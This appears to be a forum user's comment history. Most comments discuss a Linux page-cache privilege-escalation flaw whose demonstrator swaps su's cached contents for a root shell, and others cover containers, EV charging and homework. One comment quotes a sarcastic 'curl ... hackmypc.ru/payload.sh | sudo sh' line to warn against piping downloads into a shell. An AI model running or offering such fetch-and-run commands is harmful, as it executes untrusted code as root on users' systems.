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Comment Re:Immutability and W^X don't prevent this (Score 1) 138

One, they might not have enabled the cited module.

For another, the demonstrator may not work because su isn't there or is in a different path, but the broader weakness may be there: the ability to rewrite arbitrary cached copy of any file while bypassing the permissions and being able to also use it's privileges.

So you might just need a tuned exploit that targets something else instead of /usr/bin/su...

Comment Re: And this is why (Score 1) 138

While the popular demonstrater may fail because, for example, maybe su isn't there or in a different location or whatever, the risk is still there.

This exploit allows any process to rewrite the read cache of *any file*. The demonstrator picks on su, replacing it with a short binary that just immediately calls 'sh', but the fact is that the read cache of anything can be rewritten to do whatever the attacker would want.

Do not think your affinity for immutable distributions makes you immune to these issues. Never mistake a demonstrator failing to work as-is as a sign that you are completely protected from the demonstrated flaw.

Comment Re:Note that this is a local exploit (Score 1) 138

What?

You don't need to be able to have root as a 'login' account for this to work. The example exploit replaces the cached content of 'su' with a binary that just runs 'sh' with setuid 0.

The general mechanism permits any file to be rewritten in cache with whatever you like, trivially. The most dramatic thing is to rewrite some executable with privileges, but you can modify the read cache of *anything*.

Comment Re:Note that this is a local exploit (Score 1) 138

While I generally agree this is a huge freaking deal, if you are hit by a supply chain attack from npm dependencies, while the escalation is a new level of bad, you were already pretty well screwed. E.g. the xkcd:
https://xkcd.com/1200/

Your software has privilege to all sorts of stuff just as important to you as the platform you are running on.

As an industry, we have been way too sloppy about 'auto-grab code and run whatever it is'.

Comment Re:Note that this is a local exploit (Score 1) 138

No no, that's not how these things ask you to install the software, it is instead:
$ curl -k https://hackmypc.ru/payload.sh | sudo sh -

Of course, I find that super sketchy, *however* it's not really any safer to do, for example:
$ rpm -Uvh https://hackmypc.ru/payload.rp...

Or any variant that would involve copr/ppa/etc

Comment Re: Note that this is a local exploit (Score 1) 138

They absolutely have the aspirations for containers to provide security isolation, hence the concept of a 'container escape' being a CVE worthy thing.

I do agree that people that leave their services wide open to any TCP peer but think network namespace isolation is sufficient are overplaying their hand, but so many cgroup features and namespaces are pretty pointless *except* if they are intended as a security mechanism.

This shows the flaw of the philosophy, that containers are a bit too open ended to be as confident in, but the purpose of them to provide security protections is absolutely there.

The principle is *particularly* fundamental to flatpak/snap architecture, where the runtime strives to 'protect' the home directory from the applications despite running as the same user....

Comment Re:500 miles? (Score 3, Insightful) 121

2. Need places to charge within 1 hour to full

I'm not going to chime in on the semi one way or the other, but I have always disliked this way of thinking of EV charging.

Great news, this EV only takes 1 minute to full change! But it only has a range of 10 miles...

This EV has a 10,000 mile range!! Oh that's worthless because it takes 2 hours to charge from empty to full..

The right metric is miles per hour of charge, not percentage of capacity replenished.

Comment Re:No (Score 3, Interesting) 190

Mindless homework foisted on the students doesn't necessarily make them smarter.

The summary did a solid job of presenting some perspectives toward that end.

I will particularly agree that *maybe* practicing math has value beyond the classroom setting, but will counter that in my experience that is only valuable if a parent has the availability and skill to check their work and help them identify missteps.

Comment Re:I just can't believe I used to look up to Musk (Score 1) 83

To be fair, you had to be *really* paying attention. Even then, the people describing him for what he was were personal contacts and folks could write them off as jealous people left behind on Musk's success.

His public image was more carefully curated, and the media broadly was all too happy to roll with the Phony Stark scenario, because "genius billionaire" is such a valued trope in the industry.

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